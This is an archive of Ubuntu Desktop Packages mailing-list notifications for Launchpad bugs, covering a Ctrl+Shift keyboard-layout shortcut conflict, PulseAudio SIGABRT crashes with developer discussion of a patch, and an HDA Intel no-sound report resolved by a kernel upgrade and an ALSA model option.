[Desktop-packages] [Bug 1245473]
yanp.b...@gmail.com: Why did you reopen this task without any comment explaining the reason? See comment 201? -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-terminal in Ubuntu. https://bugs.launchpad.net/bugs/1245473 Title: Binding ctrl+shift, alt+shift, etc for switching keyboard layout makes shortcuts with ctrl+shift, etc not working in any program Status in GNOME Settings Daemon: Fix Released Status in GNOME Shell: Won't Fix Status in Unity: Confirmed Status in X.Org X server: Unknown Status in firefox package in Ubuntu: Confirmed Status in gnome-settings-daemon package in Ubuntu: Triaged Status in gnome-shell package in Ubuntu: Confirmed Status in gnome-terminal package in Ubuntu: Confirmed Status in kubuntu-meta package in Ubuntu: Confirmed Status in unity package in Ubuntu: Triaged Status in gnome-settings-daemon package in ALT Linux: Unknown Status in gnome-settings-daemon package in Debian: New Status in gnome-settings-daemon package in Fedora: In Progress Status in gnome-settings-daemon package in openSUSE: Confirmed Bug description: Tried only with ctrl+shift, maybe behaves the same for other modifier key combinations when used as shortcut for switching layouts. - Set ctrl+shift as shortcut for switching keyboard layouts - Try to use ctrl+shift+v, ctrl+shift+c in Terminal -- it doesn't work (actually Terminal window loses focus when ctrl+shift is pressed, and layout is switched) -- For other layout switching problems introduced in Ubuntu 13.10 you can see bug 1218322. -- ProblemType: Bug DistroRelease: Ubuntu 13.10 Package: gnome-settings-daemon 3.8.5-0ubuntu11.1 ProcVersionSignature: Ubuntu 3.11.0-13.20-generic 3.11.6 Uname: Linux 3.11.0-13-generic x86_64 ApportVersion: 2.12.5-0ubuntu2.1 Architecture: amd64 Date: Mon Oct 28 16:40:02 2013 InstallationDate: Installed on 2013-10-23 (5 days ago) InstallationMedia: Ubuntu 13.10 "Saucy Salamander" - Release amd64 (20131016.1) MarkForUpload: True SourcePackage: gnome-settings-daemon UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/gnome-settings-daemon/+bug/1245473/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1245473]
Hi! I have the same issue i would like to know the solution Castro B, gratisdatingsite.nl -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-terminal in Ubuntu. https://bugs.launchpad.net/bugs/1245473 Title: Binding ctrl+shift, alt+shift, etc for switching keyboard layout makes shortcuts with ctrl+shift, etc not working in any program Status in GNOME Settings Daemon: Fix Released Status in GNOME Shell: Won't Fix Status in Unity: Confirmed Status in X.Org X server: Unknown Status in firefox package in Ubuntu: Confirmed Status in gnome-settings-daemon package in Ubuntu: Triaged Status in gnome-shell package in Ubuntu: Confirmed Status in gnome-terminal package in Ubuntu: Confirmed Status in kubuntu-meta package in Ubuntu: Confirmed Status in unity package in Ubuntu: Triaged Status in gnome-settings-daemon package in ALT Linux: Unknown Status in gnome-settings-daemon package in Debian: New Status in gnome-settings-daemon package in Fedora: In Progress Status in gnome-settings-daemon package in openSUSE: Confirmed Bug description: Tried only with ctrl+shift, maybe behaves the same for other modifier key combinations when used as shortcut for switching layouts. - Set ctrl+shift as shortcut for switching keyboard layouts - Try to use ctrl+shift+v, ctrl+shift+c in Terminal -- it doesn't work (actually Terminal window loses focus when ctrl+shift is pressed, and layout is switched) -- For other layout switching problems introduced in Ubuntu 13.10 you can see bug 1218322. -- ProblemType: Bug DistroRelease: Ubuntu 13.10 Package: gnome-settings-daemon 3.8.5-0ubuntu11.1 ProcVersionSignature: Ubuntu 3.11.0-13.20-generic 3.11.6 Uname: Linux 3.11.0-13-generic x86_64 ApportVersion: 2.12.5-0ubuntu2.1 Architecture: amd64 Date: Mon Oct 28 16:40:02 2013 InstallationDate: Installed on 2013-10-23 (5 days ago) InstallationMedia: Ubuntu 13.10 "Saucy Salamander" - Release amd64 (20131016.1) MarkForUpload: True SourcePackage: gnome-settings-daemon UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/gnome-settings-daemon/+bug/1245473/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1556439] Re: pulseaudio crashed with SIGABRT in pa_sink_input_assert_ref() from pa_sink_input_finish_move() from pa_sink_move_all_finish() from card_set_profile() from pa_card_
Launchpad has imported 16 comments from the remote bug at https://bugs.freedesktop.org/show_bug.cgi?id=103752. If you reply to an imported comment from within Launchpad, your comment will be sent to the remote bug automatically. Read more about Launchpad's inter-bugtracker facilities at https://help.launchpad.net/InterBugTracking. On 2017-11-15T09:33:16+00:00 Lukasz-dev-dorau wrote: Created attachment 135481 gdb backtrace Description of problem: pulseaudio aborts unexpectedly at sink-input.c several times per day. Version-Release number of selected component (if applicable): pulseaudio-11.1 How reproducible: I do not use any audio devices. I have no audio devices connected to the audio outputs. I do not use audio at this machine at all, but pulseaudio aborts regularly several times per day. Steps to Reproduce: 1) wait about one hour for pulseaudio to quit unexpectedly Actual results (from syslog): Nov 09 08:28:44 gklab-124-124 pulseaudio[8775]: [pulseaudio] sink- input.c: Assertion 'PA_SINK_INPUT_IS_LINKED(i->state)' failed at pulsecore/sink-input.c:1883, function pa_sink_input_finish_move(). Aborting. Expected results: pulseaudio does not abort unexpectedly Additional info: $ ps aux | grep pulseaudio gdm 1284 0.0 0.0 1248200 11024 ? Shttps://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1556439/comments/10 On 2017-11-15T09:34:40+00:00 Lukasz-dev-dorau wrote: Created attachment 135482 journalctl log with debug log level Reply at: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1556439/comments/11 On 2017-11-15T09:39:38+00:00 Lukasz-dev-dorau wrote: See the report in RH bugzilla: https://bugzilla.redhat.com/show_bug.cgi?id=1511516 Reply at: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1556439/comments/12 On 2017-11-15T10:24:40+00:00 Lukasz-dev-dorau wrote: It happened __103__ times on my machine during the last month. Reply at: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1556439/comments/13 On 2017-12-02T15:23:51+00:00 Tanu Kaskinen wrote: Marking as a release blocker. Reply at: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1556439/comments/14 On 2017-12-02T16:52:37+00:00 Tanu Kaskinen wrote: Alsa is reporting that headphones are repeatedly plugged in and out, and that makes pulseaudio switch between headphones and spdif output. I'd guess that's a hardware defect. You can work around the problem by commenting out module-switch-on-port-available in /etc/pulse/default.pa. That will stop the output switching. The crash seems to happen when a stream (in this case a bell sound from gnome shell) stops during an output switch. I don't know how that's possible, I'll continue investigation later. Reply at: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1556439/comments/15 On 2017-12-02T22:27:06+00:00 Georg Chini wrote: I think the problem is that the sink input is unlinked somewhere between pa_sink_move_all_start() and pa_sink_move_all_finish(). The simple solution is to check the state of the sink input in pa_sink_move_all_finish() and ignore the sink input if it is already unlinked. A patch for this can be found here: https://patchwork.freedesktop.org/patch/191580/. Could you test if this fixes the issue? However, I am not sure if this is the right way to solve the problem. Tanu, what do you think? Reply at: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1556439/comments/16 On 2017-12-03T21:14:11+00:00 Tanu Kaskinen wrote: (In reply to Georg Chini from comment #6) > However, I am not sure if this is the right way to solve the problem. Tanu, > what do you think? The patch seems good. I still wonder what's really happening here, though. I think it's not possible for the stream to end during the profile switch, because after detaching from the old sink, no more audio is consumed from the stream before it's attached to the new sink. Does something call pa_sink_input_kill()? Reply at: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1556439/comments/17 On 2017-12-03T21:36:19+00:00 Tanu Kaskinen wrote: I checked all pa_sink_input_unlink() and pa_sink_input_kill() calls, and I didn't notice anything that could cause a sink input to be unlinked while it's being moved, so it looks like this crash should be impossible... Oh well, there's a fix a
[Desktop-packages] [Bug 1833161] Re: [HDA-Intel - HDA Intel PCH, playback] No sound at all
Excellent! Thank you so much Hui Wang! Everything works perfectly now, thanks to your advice about upgrading the kernel. My headphones, speakers and microphone work all perfectly fine now, this is solved. Just a note: I had already tried the "clevo-p950" as an option, but it was not working at all (not even the headphones) with the kernel version I had, which was 4.18.0-22. However, as soon as I updated the kernel to 5.0.2-050002 everything worked perfectly with clevo-p950. Also, I didn't upgrade my kernel version to the most recent stable version (i.e. 5.1.11 at the time of writing), only because my nvidia driver wasn't working fine on that specific kernel (I didn't investigate why). Anyway, bottom line is, everything works perfectly now with the "clevo-p950" option and kernel 5.0.2. Thanks a lot Hui Wang, I'm very grateful! -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/1833161 Title: [HDA-Intel - HDA Intel PCH, playback] No sound at all Status in alsa-driver package in Ubuntu: New Bug description: Hello to all, My Ubuntu version is 18.04.02 LTS and I've setup a dual-boot with windows 10. Speakers and audio jack work totally fine under Windows 10, but they never work with Ubuntu. List of some of the things I've tried: 1) I've tried all the steps from the "Sound Troubleshooting Procedure" 2) I've tried installing the "oem-audio-hda-daily-dkms" package; 3) I've tried to install/remove/reinstall alsa-base, alsa-utils, pulseaudio, pavucontrol many times 4) I've played with the options in the file /etc/modprobe.d/alsa-base.conf: a) I've tried to add "options snd-hda-intel model=auto" and I also tried different models: auto, clevo, laptop-eapd, clevo m-720, generic, basic and even z71v position_fix=1. 5) I've tried adding : Code: [General] description = Headphones + Digital Output (S/PDIF) in the file "/usr/share/pulseaudio/alsa-mixer/paths/iec958-stereo-output.conf" 6) I've even tried a live USB stick with Ubuntu 19.04 (after reading somewhere that this was fixed on 19.04), but I found out that there was no sound on Ubuntu 19.04 as well. Also, you can find my ALSA information here: http://alsa- project.org/db/?f=bcdf5c8be31ce8b9e848a29ef292e9125f26def0 ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: alsa-base 1.0.25+dfsg-0ubuntu5 ProcVersionSignature: Ubuntu 4.18.0-22.23~18.04.1-generic 4.18.20 Uname: Linux 4.18.0-22-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.9-0ubuntu7.6 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC1: jproberge 1737 F pulseaudio /dev/snd/controlC0: jproberge 1737 F pulseaudio CurrentDesktop: ubuntu:GNOME Date: Mon Jun 17 20:37:29 2019 InstallationDate: Installed on 2019-06-15 (2 days ago) InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 (20190210) PackageArchitecture: all SourcePackage: alsa-driver Symptom: audio Symptom_AlsaPlaybackTest: ALSA playback test through plughw:PCH failed Symptom_Card: HDA NVidia - HDA NVidia Symptom_DevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC1: gdm1236 F pulseaudio jproberge 1737 F pulseaudio /dev/snd/controlC0: gdm1236 F pulseaudio jproberge 1737 F pulseaudio Symptom_Type: No sound at all Title: [HDA-Intel - HDA Intel PCH, playback] No sound at all UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 05/07/2019 dmi.bios.vendor: INSYDE Corp. dmi.bios.version: 1.07.08P dmi.board.asset.tag: Tag 12345 dmi.board.name: P95_96_97Ex,Rx dmi.board.vendor: Notebook dmi.board.version: Not Applicable dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: Notebook dmi.chassis.version: N/A dmi.modalias: dmi:bvnINSYDECorp.:bvr1.07.08P:bd05/07/2019:svnNotebook:pnP95_96_97Ex,Rx:pvrNotApplicable:rvnNotebook:rnP95_96_97Ex,Rx:rvrNotApplicable:cvnNotebook:ct10:cvrN/A: dmi.product.family: Not Applicable dmi.product.name: P95_96_97Ex,Rx dmi.product.sku: Not Applicable dmi.product.version: Not Applicable dmi.sys.vendor: Notebook To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1833161/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1760729] Re: pulseaudio crashed during playback with SIGABRT in set_nonblock() from pa_make_fd_nonblock() from setup_stream() [bluez] from setup_transport_and_stream() [bluez]
It looks like commit 4762aa45d9ea2f5146a135eda6b840bf3964b317 is the fix here. Not sure. It's not in any official PulseAudio release yet. ** Description changed: + https://errors.ubuntu.com/problem/7c4e21254b37e5f76989d357fb6cea8b0784b14c + https://errors.ubuntu.com/problem/36464ddf744c449f1480d3ec1746fa2ac4473f8d + https://errors.ubuntu.com/problem/0c7f70ee57533aee145dad48aa05487de7da808d + + --- + Pulseaudio crashed randomly while watching a YouTube video in fullscreen. When crashing the last 1 second or so of audio looped for a few seconds, then cut out. I am using PulseEffects as well, which crashed around the same time. Whether that was the cause or a result of the PulseAudio crash is unclear. I am using Bionic because the video drivers for my AMD Raven Ridge iGPU are not supported by earlier versions. ~ $ lsb_release -rd Description: Ubuntu Bionic Beaver (development branch) Release: 18.04 ~ $ apt-cache policy pulseaudio pulseaudio: - Installed: 1:11.1-1ubuntu7 - Candidate: 1:11.1-1ubuntu7 - Version table: - *** 1:11.1-1ubuntu7 500 - 500 http://us.archive.ubuntu.com/ubuntu bionic/main amd64 Packages - 100 /var/lib/dpkg/status + Installed: 1:11.1-1ubuntu7 + Candidate: 1:11.1-1ubuntu7 + Version table: + *** 1:11.1-1ubuntu7 500 + 500 http://us.archive.ubuntu.com/ubuntu bionic/main amd64 Packages + 100 /var/lib/dpkg/status ProblemType: Crash DistroRelease: Ubuntu 18.04 Package: pulseaudio 1:11.1-1ubuntu7 ProcVersionSignature: Ubuntu 4.15.0-13.14-generic 4.15.10 Uname: Linux 4.15.0-13-generic x86_64 ApportVersion: 2.20.9-0ubuntu2 Architecture: amd64 AudioDevicesInUse: - USERPID ACCESS COMMAND - /dev/snd/controlC1: ben3375 F pulseaudio - /dev/snd/controlC0: ben3375 F pulseaudio + USERPID ACCESS COMMAND + /dev/snd/controlC1: ben3375 F pulseaudio + /dev/snd/controlC0: ben3375 F pulseaudio CurrentDesktop: KDE Date: Mon Apr 2 19:23:48 2018 ExecutablePath: /usr/bin/pulseaudio InstallationDate: Installed on 2018-03-25 (8 days ago) InstallationMedia: Kubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20180306.1) ProcCmdline: /usr/bin/pulseaudio --start --log-target=syslog ProcEnviron: - PATH=(custom, no user) - XDG_RUNTIME_DIR= - LANG=en_US.UTF-8 - SHELL=/bin/bash + PATH=(custom, no user) + XDG_RUNTIME_DIR= + LANG=en_US.UTF-8 + SHELL=/bin/bash Signal: 6 SourcePackage: pulseaudio StacktraceTop: - ?? () from /usr/lib/x86_64-linux-gnu/pulseaudio/libpulsecommon-11.1.so - ?? () from /usr/lib/pulse-11.1/modules/module-bluez5-device.so - ?? () from /usr/lib/pulse-11.1/modules/module-bluez5-device.so - ?? () from /usr/lib/pulse-11.1/modules/module-bluez5-device.so - ?? () from /usr/lib/x86_64-linux-gnu/pulseaudio/libpulsecore-11.1.so + ?? () from /usr/lib/x86_64-linux-gnu/pulseaudio/libpulsecommon-11.1.so + ?? () from /usr/lib/pulse-11.1/modules/module-bluez5-device.so + ?? () from /usr/lib/pulse-11.1/modules/module-bluez5-device.so + ?? () from /usr/lib/pulse-11.1/modules/module-bluez5-device.so + ?? () from /usr/lib/x86_64-linux-gnu/pulseaudio/libpulsecore-11.1.so Title: pulseaudio crashed with SIGABRT UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip libvirt lpadmin plugdev sambashare sudo dmi.bios.date: 12/01/2017 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: F10 dmi.board.asset.tag: Default string dmi.board.name: AB350N-Gaming WIFI-CF dmi.board.vendor: Gigabyte Technology Co., Ltd. dmi.board.version: x.x dmi.chassis.asset.tag: Default string dmi.chassis.type: 3 dmi.chassis.vendor: Default string dmi.chassis.version: Default string dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrF10:bd12/01/2017:svnGigabyteTechnologyCo.,Ltd.:pnAB350N-GamingWIFI:pvrDefaultstring:rvnGigabyteTechnologyCo.,Ltd.:rnAB350N-GamingWIFI-CF:rvrx.x:cvnDefaultstring:ct3:cvrDefaultstring: dmi.product.family: Default string dmi.product.name: AB350N-Gaming WIFI dmi.product.version: Default string dmi.sys.vendor: Gigabyte Technology Co., Ltd. ** Tags added: disco ** Changed in: bluez (Ubuntu) Status: Confirmed => Invalid -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1760729 Title: pulseaudio crashed during playback with SIGABRT in set_nonblock() from pa_make_fd_nonblock() from setup_stream() [bluez] from setup_transport_and_stream() [bluez] Status in bluez package in Ubuntu: Invalid Status in pulseaudio package in Ubuntu: Confirmed Bug description: https://errors.ubuntu.com/problem/7c4e21254b37e5f76989d357fb6cea8b0784b14c https://errors.ubuntu.com/problem/36464ddf744c449f1480d3ec1746fa2ac4473f8d https://errors.ubuntu.com/problem/0c7f70ee57533aee145dad48aa05487de7da808d --- Pulseaudio crashed rando
[Desktop-packages] [Bug 1556439] Re: pulseaudio crashed with SIGABRT in pa_sink_input_assert_ref() from pa_sink_input_finish_move() from pa_sink_move_all_finish() from card_set_profile() from pa_card_
It looks like commit 59d264ac56d644f626251daa44ef7b39a9a9fe03 was the fix for this. ** Bug watch added: freedesktop.org Bugzilla #103752 https://bugs.freedesktop.org/show_bug.cgi?id=103752 ** Also affects: pulseaudio via https://bugs.freedesktop.org/show_bug.cgi?id=103752 Importance: Unknown Status: Unknown ** Also affects: pulseaudio (Ubuntu Bionic) Importance: Undecided Status: New ** Changed in: pulseaudio (Ubuntu Bionic) Importance: Undecided => Medium ** Changed in: pulseaudio (Ubuntu Bionic) Status: New => Triaged ** Changed in: pulseaudio (Ubuntu Bionic) Importance: Medium => High -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1556439 Title: pulseaudio crashed with SIGABRT in pa_sink_input_assert_ref() from pa_sink_input_finish_move() from pa_sink_move_all_finish() from card_set_profile() from pa_card_set_profile Status in PulseAudio: Unknown Status in pulseaudio package in Ubuntu: Fix Released Status in pulseaudio source package in Bionic: Triaged Bug description: https://errors.ubuntu.com/problem/a83a007593c81501c4fbb4e9ac0f47e0b3880d17 --- Changing between Logitech G933 digital and analog and Logitech G930 digital and analog ProblemType: Crash DistroRelease: Ubuntu 16.04 Package: pulseaudio 1:8.0-0ubuntu2 ProcVersionSignature: Ubuntu 4.4.0-12.28-generic 4.4.4 Uname: Linux 4.4.0-12-generic x86_64 NonfreeKernelModules: nvidia_uvm nvidia_modeset wl nvidia ApportVersion: 2.20-0ubuntu3 Architecture: amd64 CurrentDesktop: Unity Date: Sat Mar 12 17:20:34 2016 EcryptfsInUse: Yes ExecutablePath: /usr/bin/pulseaudio InstallationDate: Installed on 2016-02-22 (19 days ago) InstallationMedia: Ubuntu 15.10 "Wily Werewolf" - Release amd64 (20151021) ProcCmdline: /usr/bin/pulseaudio --start --log-target=syslog ProcEnviron: PATH=(custom, no user) SHELL=/bin/bash LANG=sv_SE.UTF-8 LANGUAGE=sv XDG_RUNTIME_DIR= Signal: 6 SourcePackage: pulseaudio StacktraceTop: pa_sink_input_finish_move () from /usr/lib/x86_64-linux-gnu/pulseaudio/libpulsecore-8.0.so pa_sink_move_all_finish () from /usr/lib/x86_64-linux-gnu/pulseaudio/libpulsecore-8.0.so ?? () from /usr/lib/pulse-8.0/modules/module-alsa-card.so pa_card_set_profile () from /usr/lib/x86_64-linux-gnu/pulseaudio/libpulsecore-8.0.so ?? () from /usr/lib/pulse-8.0/modules/libprotocol-native.so Title: pulseaudio crashed with SIGABRT in pa_sink_input_finish_move() UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo dmi.bios.date: 09/30/2015 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 2001 dmi.board.asset.tag: To be filled by O.E.M. dmi.board.name: X99-DELUXE dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: Rev 1.xx dmi.chassis.asset.tag: To Be Filled By O.E.M. dmi.chassis.type: 3 dmi.chassis.vendor: To Be Filled By O.E.M. dmi.chassis.version: To Be Filled By O.E.M. dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr2001:bd09/30/2015:svnASUS:pnAllSeries:pvrSystemVersion:rvnASUSTeKCOMPUTERINC.:rnX99-DELUXE:rvrRev1.xx:cvnToBeFilledByO.E.M.:ct3:cvrToBeFilledByO.E.M.: dmi.product.name: All Series dmi.product.version: System Version dmi.sys.vendor: ASUS To manage notifications about this bug go to: https://bugs.launchpad.net/pulseaudio/+bug/1556439/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1760729] Re: pulseaudio crashed during playback with SIGABRT in set_nonblock() from pa_make_fd_nonblock() from setup_stream() [bluez] from setup_transport_and_stream() [bluez]
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: bluez (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1760729 Title: pulseaudio crashed during playback with SIGABRT in set_nonblock() from pa_make_fd_nonblock() from setup_stream() [bluez] from setup_transport_and_stream() [bluez] Status in bluez package in Ubuntu: Invalid Status in pulseaudio package in Ubuntu: Confirmed Bug description: https://errors.ubuntu.com/problem/7c4e21254b37e5f76989d357fb6cea8b0784b14c https://errors.ubuntu.com/problem/36464ddf744c449f1480d3ec1746fa2ac4473f8d https://errors.ubuntu.com/problem/0c7f70ee57533aee145dad48aa05487de7da808d --- Pulseaudio crashed randomly while watching a YouTube video in fullscreen. When crashing the last 1 second or so of audio looped for a few seconds, then cut out. I am using PulseEffects as well, which crashed around the same time. Whether that was the cause or a result of the PulseAudio crash is unclear. I am using Bionic because the video drivers for my AMD Raven Ridge iGPU are not supported by earlier versions. ~ $ lsb_release -rd Description: Ubuntu Bionic Beaver (development branch) Release: 18.04 ~ $ apt-cache policy pulseaudio pulseaudio: Installed: 1:11.1-1ubuntu7 Candidate: 1:11.1-1ubuntu7 Version table: *** 1:11.1-1ubuntu7 500 500 http://us.archive.ubuntu.com/ubuntu bionic/main amd64 Packages 100 /var/lib/dpkg/status ProblemType: Crash DistroRelease: Ubuntu 18.04 Package: pulseaudio 1:11.1-1ubuntu7 ProcVersionSignature: Ubuntu 4.15.0-13.14-generic 4.15.10 Uname: Linux 4.15.0-13-generic x86_64 ApportVersion: 2.20.9-0ubuntu2 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC1: ben3375 F pulseaudio /dev/snd/controlC0: ben3375 F pulseaudio CurrentDesktop: KDE Date: Mon Apr 2 19:23:48 2018 ExecutablePath: /usr/bin/pulseaudio InstallationDate: Installed on 2018-03-25 (8 days ago) InstallationMedia: Kubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20180306.1) ProcCmdline: /usr/bin/pulseaudio --start --log-target=syslog ProcEnviron: PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash Signal: 6 SourcePackage: pulseaudio StacktraceTop: ?? () from /usr/lib/x86_64-linux-gnu/pulseaudio/libpulsecommon-11.1.so ?? () from /usr/lib/pulse-11.1/modules/module-bluez5-device.so ?? () from /usr/lib/pulse-11.1/modules/module-bluez5-device.so ?? () from /usr/lib/pulse-11.1/modules/module-bluez5-device.so ?? () from /usr/lib/x86_64-linux-gnu/pulseaudio/libpulsecore-11.1.so Title: pulseaudio crashed with SIGABRT UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip libvirt lpadmin plugdev sambashare sudo dmi.bios.date: 12/01/2017 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: F10 dmi.board.asset.tag: Default string dmi.board.name: AB350N-Gaming WIFI-CF dmi.board.vendor: Gigabyte Technology Co., Ltd. dmi.board.version: x.x dmi.chassis.asset.tag: Default string dmi.chassis.type: 3 dmi.chassis.vendor: Default string dmi.chassis.version: Default string dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrF10:bd12/01/2017:svnGigabyteTechnologyCo.,Ltd.:pnAB350N-GamingWIFI:pvrDefaultstring:rvnGigabyteTechnologyCo.,Ltd.:rnAB350N-GamingWIFI-CF:rvrx.x:cvnDefaultstring:ct3:cvrDefaultstring: dmi.product.family: Default string dmi.product.name: AB350N-Gaming WIFI dmi.product.version: Default string dmi.sys.vendor: Gigabyte Technology Co., Ltd. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bluez/+bug/1760729/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1760729] Re: pulseaudio crashed during playback with SIGABRT in set_nonblock() from pa_make_fd_nonblock() from setup_stream() [bluez] from setup_transport_and_stream() [bluez]
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: pulseaudio (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1760729 Title: pulseaudio crashed during playback with SIGABRT in set_nonblock() from pa_make_fd_nonblock() from setup_stream() [bluez] from setup_transport_and_stream() [bluez] Status in bluez package in Ubuntu: Invalid Status in pulseaudio package in Ubuntu: Confirmed Bug description: https://errors.ubuntu.com/problem/7c4e21254b37e5f76989d357fb6cea8b0784b14c https://errors.ubuntu.com/problem/36464ddf744c449f1480d3ec1746fa2ac4473f8d https://errors.ubuntu.com/problem/0c7f70ee57533aee145dad48aa05487de7da808d --- Pulseaudio crashed randomly while watching a YouTube video in fullscreen. When crashing the last 1 second or so of audio looped for a few seconds, then cut out. I am using PulseEffects as well, which crashed around the same time. Whether that was the cause or a result of the PulseAudio crash is unclear. I am using Bionic because the video drivers for my AMD Raven Ridge iGPU are not supported by earlier versions. ~ $ lsb_release -rd Description: Ubuntu Bionic Beaver (development branch) Release: 18.04 ~ $ apt-cache policy pulseaudio pulseaudio: Installed: 1:11.1-1ubuntu7 Candidate: 1:11.1-1ubuntu7 Version table: *** 1:11.1-1ubuntu7 500 500 http://us.archive.ubuntu.com/ubuntu bionic/main amd64 Packages 100 /var/lib/dpkg/status ProblemType: Crash DistroRelease: Ubuntu 18.04 Package: pulseaudio 1:11.1-1ubuntu7 ProcVersionSignature: Ubuntu 4.15.0-13.14-generic 4.15.10 Uname: Linux 4.15.0-13-generic x86_64 ApportVersion: 2.20.9-0ubuntu2 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC1: ben3375 F pulseaudio /dev/snd/controlC0: ben3375 F pulseaudio CurrentDesktop: KDE Date: Mon Apr 2 19:23:48 2018 ExecutablePath: /usr/bin/pulseaudio InstallationDate: Installed on 2018-03-25 (8 days ago) InstallationMedia: Kubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20180306.1) ProcCmdline: /usr/bin/pulseaudio --start --log-target=syslog ProcEnviron: PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash Signal: 6 SourcePackage: pulseaudio StacktraceTop: ?? () from /usr/lib/x86_64-linux-gnu/pulseaudio/libpulsecommon-11.1.so ?? () from /usr/lib/pulse-11.1/modules/module-bluez5-device.so ?? () from /usr/lib/pulse-11.1/modules/module-bluez5-device.so ?? () from /usr/lib/pulse-11.1/modules/module-bluez5-device.so ?? () from /usr/lib/x86_64-linux-gnu/pulseaudio/libpulsecore-11.1.so Title: pulseaudio crashed with SIGABRT UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip libvirt lpadmin plugdev sambashare sudo dmi.bios.date: 12/01/2017 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: F10 dmi.board.asset.tag: Default string dmi.board.name: AB350N-Gaming WIFI-CF dmi.board.vendor: Gigabyte Technology Co., Ltd. dmi.board.version: x.x dmi.chassis.asset.tag: Default string dmi.chassis.type: 3 dmi.chassis.vendor: Default string dmi.chassis.version: Default string dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrF10:bd12/01/2017:svnGigabyteTechnologyCo.,Ltd.:pnAB350N-GamingWIFI:pvrDefaultstring:rvnGigabyteTechnologyCo.,Ltd.:rnAB350N-GamingWIFI-CF:rvrx.x:cvnDefaultstring:ct3:cvrDefaultstring: dmi.product.family: Default string dmi.product.name: AB350N-Gaming WIFI dmi.product.version: Default string dmi.sys.vendor: Gigabyte Technology Co., Ltd. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bluez/+bug/1760729/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1760729] Re: pulseaudio crashed during playback with SIGABRT in set_nonblock() from pa_make_fd_nonblock() from setup_stream() [bluez] from setup_transport_and_stream() [bluez]
